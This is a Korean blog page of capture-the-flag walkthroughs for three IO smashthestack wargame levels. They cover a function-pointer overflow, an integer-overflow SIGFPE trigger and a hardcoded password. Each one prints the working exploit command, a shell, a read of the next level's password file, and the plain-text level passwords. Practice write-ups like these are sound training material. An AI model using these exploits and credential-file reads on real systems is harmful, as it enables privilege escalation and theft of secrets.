'Wargame/IO.smashthestack.org'에 해당하는 글 3건

 Category : System hacking

ssh://io.smashthestack.org:2224
id : level3
pw : f9esfdy8T6Hd

Summary : overflow , overwrite function pointer


서버에 접속하여 문제 파일을 확인한다.

level3@io:/levels$ ls -l | grep level03
-r-sr-x--- 1 level4  level3   7768 Nov 18  2007 level03
-r-------- 1 level3  level3    603 Nov 18  2007 level03.c

setuid가 걸린 level4 user의 실행파일을 볼 수 있으며 , source 파일도 제공되어있다.
source 파일을 확인한다.

level3@io:/levels$ cat level03.c
#include <stdio.h>
#include <unistd.h>
#include <string.h>

int good(int addr) {
 printf("Address of hmm: %p\n", addr);
}
  
int hmm() {
 printf("Win.\n");
 execl("/bin/sh", "sh", NULL);
}

extern char **environ;

int main(int argc, char **argv) {

 int i, limit;

 for(i = 0; environ[i] != NULL; i++)
 memset(environ[i], 0x00, strlen(environ[i]));

 int (*fptr)(int) = good;
 char buf[32];
 
 if(strlen(argv[1]) <= 40) limit = strlen(argv[1]);
 
 for(i = 0; i <= limit; i++) {
  buf[i] = argv[1][i];
  if(i < 36) buf[i] = 0x41;
 }

 int (*hmmptr)(int) = hmm;

 (*fptr)((int)hmmptr);
 
 return 0;
 
}


환경변수 영역을 NULL로 초기화시키고 , 함수 포인터와 char형 배열을 선언하여 argv[1]의 길이가 40이하이면 argv[1]을 buf에 복사해주지만 , 36글자 이하로는 모두 'A'로 덮어버린다.

즉 , argv[1][36] ~ argv[1][40]이 buf[36] ~ buf[40]에 덮이고 buf[0]~buf[35]는 모두 'A'로 덮인다.

프로그램에서 buf는 32바이트가 선언됬지만 argv[1]에서 최대 40글자까지 복사하기 때문에 sfp 나 return address가 저장된 영역은 건드리지 못하여도 먼저 선언된 변수영역을 조작할 수 있다. 
buf[36]부터 buf[40]까지만 원하는 값으로 조작가능한데 해당영역이 함수 포인터(fptr)변수 영역이다.

fptr에 쉘을 실행하는 함수인 hmm의 주소를 넣어준다면 hmm함수가 실행되어 level4 user의 쉘을 획득하게된다.

level3@io:/levels$ ./level03 `python -c 'print "pwn3r"'`
Address of hmm: 0x804847f
level3@io:/levels$ ./level03 `python -c 'print "\x7f\x84\x04\x08"*10'`
Win.
sh-3.2$ id
uid=1003(level3) gid=1003(level3) euid=1004(level4) groups=1003(level3),1029(nosu)
sh-3.2$ cat /home/level4/.pass
1ZwMe9q1nDC9

level4 user의 쉘을 얻고 password를 획득하였다. 

'Wargame > IO.smashthestack.org' 카테고리의 다른 글

IO smashthestack level3  (0) 2011.07.17
IO smashthestack level2  (0) 2011.07.17
IO smashthestack level1  (0) 2011.07.17

WRITTEN BY
pwn3r
45

트랙백  72 , 댓글  0개가 달렸습니다.
secret
Category : System hacking

ssh://io.smashthestack.org:2224
id : level2
pw : WE5aVWRwYPhX

Summary : integer range , SIGFPE signal

 

서버에 접속하여 문제 파일을 확인한다.
 

level2@io:/levels$ ls -l | grep level02
-r-sr-x--- 1 level3  level2   7247 May 26 12:00 level02
-r-------- 1 level2  level2    490 May 26 11:59 level02.c
-r-sr-x--- 1 level3  level2   6940 May 26 11:57 level02_alt
-r-------- 1 level2  level2    437 May 26 11:56 level02_alt.c

이번 level은 2개의 문제로 구성되있으며 2문제 모두 source파일이 제공되어있다.
alt는 나중에 다시 풀이한다.
level02의 source파일부터 확인해본다.

level2@io:/levels$ cat level02.c
//a little fun brought to you by bla

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <setjmp.h>

void catcher(int a)
{
        setresuid(geteuid(),geteuid(),geteuid());
       
printf("WIN!\n");
        system("/bin/sh");
        exit(0);
}

int main(int argc, char **argv)
{
        puts("source code is available in level02.c\n");

        if (argc != 3 || !atoi(argv[2]))
                return 1;
        signal(SIGFPE, catcher);
        return atoi(argv[1]) / atoi(argv[2]);
}

소스는 간단하다. argc가 3이 아니거나 argv[2]가 0이면 바로 종료하고 singal 시스템콜로 SIGFPE signal이 발생하면 catcher 함수를 handler로 사용하도록 등록한다. catcher 함수는 setreuid를 해주고 , 쉘을 실행해주는 함수이므로 결과적으로 SIGFPE signal을 발생시키면 다음 level user의 쉘을 얻을 수 있다.

SIGFPE signal에 대해서는
http://wikipedia.qwika.com/en/SIGFPE 를 참고했다.
이제 주시해야 할 부분은 atoi(argv[1]) / atoi(argv[2]) 이다.
위 링크에 명시되어있듯이 SIGFPE signal은 정수가 0으로 나누어질때도 발생한다.
하지만 argv[1]을 나누는 값인 argv[2]가 0일 경우에 연산과정을 거치지도 않고 프로그램이 종료되기 때문에 다른 경우를 생각해야한다.

다시 링크에 명시되있는 항목을 살펴보면 integer overflow일때도 SIGFPE signal이 발생함을 할 수 있다.
int 자료형의 범위는 -2147483648 ~ 2147483647인데 이 범위를 초과하는 값이 int 자료형에 들어가게 된다면 integer overflow가 발생한다.
마침 , argv[1]과 argv[2]가 나누기 연산을 거치기 때문에 integer overflow를 발생시킬 수 있다.
-2147483648 / -1 연산을 하면 결과는 2147483648로 , int 자료형의 범위를 벗어나기 때문이다.

argv[1]과 argv[2]에 각각 -2147483648과 -1을 넘기면서 실행한다.

level2@io:/levels$ ./level02 -2147483648 -1    
source code is available in level02.c

WIN!
sh-3.2$ id
uid=1003(level3) gid=1002(level2) groups=1002(level2),1029(nosu)
sh-3.2$ cat /home/level3/.pass
f9esfdy8T6Hd


level3 user의 쉘을 획득하고 password를 획득했다.

'Wargame > IO.smashthestack.org' 카테고리의 다른 글

IO smashthestack level3  (0) 2011.07.17
IO smashthestack level2  (0) 2011.07.17
IO smashthestack level1  (0) 2011.07.17

WRITTEN BY
pwn3r
45

트랙백  46 , 댓글  0개가 달렸습니다.
secret
Category : System hacking

ssh://io.smashthestack.org:2224
id : level1
pw : level1

Summary : strings , ltrace , basic debugging


서버에 접속하여 /levels에 있는 문제 바이너리를 확인한다.

level1@io:/levels$ ls -l level01
-r-sr-x--- 1 level2 level1 7500 Nov 16  2007 level01
level1@io:/levels$ file level01
level01: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.4.1, not stripped

문제 바이너리인 level01인 실행파일로 excute권한과 read 권한이 있어서 디버깅도 가능하다.
실행파일이므로 실행시켜본다.

level1@io:/levels$ ./level01
Usage: ./level01 <password>
level1@io:/levels$ ./level01 pwn3r
Fail.

level01은 argv[1]에 password를 입력받는다. 임의의 문자열을 넣었더니 "Fail."이라고 출력된다.
실행으로 더이상의 정보를 얻을 수 없으므로 디버깅을 한다.

(gdb) disas main
Dump of assembler code for function main:
0x080483f4 <main+0>: lea    0x4(%esp),%ecx
0x080483f8 <main+4>: and    $0xfffffff0,%esp
0x080483fb <main+7>: pushl  -0x4(%ecx)
0x080483fe <main+10>: push   %ebp
0x080483ff <main+11>: mov    %esp,%ebp
0x08048401 <main+13>: push   %edi
0x08048402 <main+14>: push   %ecx
0x08048403 <main+15>: sub    $0x30,%esp
0x08048406 <main+18>: mov    %ecx,-0x20(%ebp)
0x08048409 <main+21>: movl   $0x80485c8,-0xc(%ebp)
0x08048410 <main+28>: mov    -0x20(%ebp),%eax
0x08048413 <main+31>: cmpl   $0x2,(%eax)
0x08048416 <main+34>: je     0x8048439 <main+69>
0x08048418 <main+36>: mov    -0x20(%ebp),%edx
0x0804841b <main+39>: mov    0x4(%edx),%eax
0x0804841e <main+42>: mov    (%eax),%eax
0x08048420 <main+44>: mov    %eax,0x4(%esp)
0x08048424 <main+48>: movl   $0x80485d4,(%esp)
---Type <return> to continue, or q <return> to quit---
0x0804842b <main+55>: call   0x804832c <
printf@plt>
0x08048430 <main+60>: movl   $0x1,-0x1c(%ebp)
0x08048437 <main+67>: jmp    0x80484b2 <main+190>
0x08048439 <main+69>: mov    -0xc(%ebp),%eax
0x0804843c <main+72>: mov    $0xffffffff,%ecx
0x08048441 <main+77>: mov    %eax,-0x24(%ebp)
0x08048444 <main+80>: mov    $0x0,%al
0x08048446 <main+82>: cld   
0x08048447 <main+83>: mov    -0x24(%ebp),%edi
0x0804844a <main+86>: repnz scas %es:(%edi),%al
0x0804844c <main+88>: mov    %ecx,%eax
0x0804844e <main+90>: not    %eax
0x08048450 <main+92>: lea    -0x1(%eax),%edx
0x08048453 <main+95>: mov    -0x20(%ebp),%ecx
0x08048456 <main+98>: mov    0x4(%ecx),%eax
0x08048459 <main+101>: add    $0x4,%eax
0x0804845c <main+104>: mov    (%eax),%ecx
0x0804845e <main+106>: mov    %edx,0x8(%esp)
0x08048462 <main+110>: mov    -0xc(%ebp),%eax
---Type <return> to continue, or q <return> to quit---
0x08048465 <main+113>: mov    %eax,0x4(%esp)
0x08048469 <main+117>: mov    %ecx,(%esp)
0x0804846c <main+120>: call   0x804830c <
strncmp@plt>
0x08048471 <main+125>: test   %eax,%eax
0x08048473 <main+127>: jne    0x804849f <main+171>
0x08048475 <main+129>: movl   $0x80485ea,(%esp)
0x0804847c <main+136>: call   0x80482fc <
puts@plt>
0x08048481 <main+141>: movl   $0x0,0x8(%esp)
0x08048489 <main+149>: movl   $0x80485ef,0x4(%esp)
0x08048491 <main+157>: movl   $0x80485f2,(%esp)
0x08048498 <main+164>: call   0x80482ec <
execl@plt>
0x0804849d <main+169>: jmp    0x80484ab <main+183>
0x0804849f <main+171>: movl   $0x80485fa,(%esp)
0x080484a6 <main+178>: call   0x80482fc <
puts@plt>
0x080484ab <main+183>: movl   $0x0,-0x1c(%ebp)
0x080484b2 <main+190>: mov    -0x1c(%ebp),%eax
0x080484b5 <main+193>: add    $0x30,%esp
0x080484b8 <main+196>: pop    %ecx
0x080484b9 <main+197>: pop    %edi
---Type <return> to continue, or q <return> to quit---
0x080484ba <main+198>: pop    %ebp
0x080484bb <main+199>: lea    -0x4(%ecx),%esp
0x080484be <main+202>: ret   
End of assemble

코드가 상당히 길지만 정리하면 argv[1]과 0x80485c8에 있는 값을 비교하여 같으면 "Win"을 출력한 후 쉘을 실행해주고 , 다르면 "Fail"을 출력한 후 종료된다.

0x08048453 <main+95>: mov    -0x20(%ebp),%ecx
0x08048456 <main+98>: mov    0x4(%ecx),%eax
0x08048459 <main+101>: add    $0x4,%eax
0x0804845c <main+104>: mov    (%eax),%ecx
0x0804845e <main+106>: mov    %edx,0x8(%esp)
0x08048462 <main+110>: mov    -0xc(%ebp),%eax
0x08048465 <main+113>: mov    %eax,0x4(%esp)
0x08048469 <main+117>: mov    %ecx,(%esp)
0x0804846c <main+120>: call   0x804830c <
strncmp@plt>
< strncmp로 두 문자열을 비교하는 부분 >

0x80485c8에 있는 값은 디버깅을 통해 쉽게 알아낼 수 있다.

(gdb) b main
Breakpoint 1 at 0x8048403
(gdb) r
Starting program: /levels/level01

Breakpoint 1, 0x08048403 in main ()
(gdb) x/s $0x80485c8
Value can't be converted to integer.
(gdb) x/s 0x80485c8
0x80485c8:  "omgpassword"


argv[1] 과 비교되는 문자열은 "omgpassword"이다
그러므로 argv[1]에 위 문자열을 넘겨주면 "Win"이 출력되고 level2의 쉘을 얻을 수 있을 것이다.

level1@io:/levels$ ./level01 omgpassword
Win.
sh-3.2$ id
uid=1001(level1) gid=1001(level1) euid=1002(level2) groups=1001(level1),1029(nosu)
sh-3.2$ cat /home/level2/.pass
WE5aVWRwYPhX

level2의 쉘을 얻고 password를 획득했다.




p.s 사실 디버깅을 할필요없이 strings나 ltrace 같은 유틸리티를 이용하면 편리하게 풀 수 있다.

level1@io:/levels$ strings level01
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
printf
execl
puts
strncmp
_IO_stdin_used
__libc_start_main
GLIBC_2.0
PTRh
0Y_]
[^_]
[^_]
omgpassword
Usage: %s <password>
Win.
/bin/sh
Fail.

level1@io:/levels$ ltrace ./level01 hi
__libc_start_main(0x80483f4, 2, 0xbfffdda4, 0x8048510, 0x80484c0 <unfinished ...>
strncmp("hi", "omgpassword", 11)                                                            = -7
puts("Fail."Fail.
)                                                                               = 6
+++ exited (status 0) +++

'Wargame > IO.smashthestack.org' 카테고리의 다른 글

IO smashthestack level3  (0) 2011.07.17
IO smashthestack level2  (0) 2011.07.17
IO smashthestack level1  (0) 2011.07.17

WRITTEN BY
pwn3r
45

트랙백  72 , 댓글  0개가 달렸습니다.
secret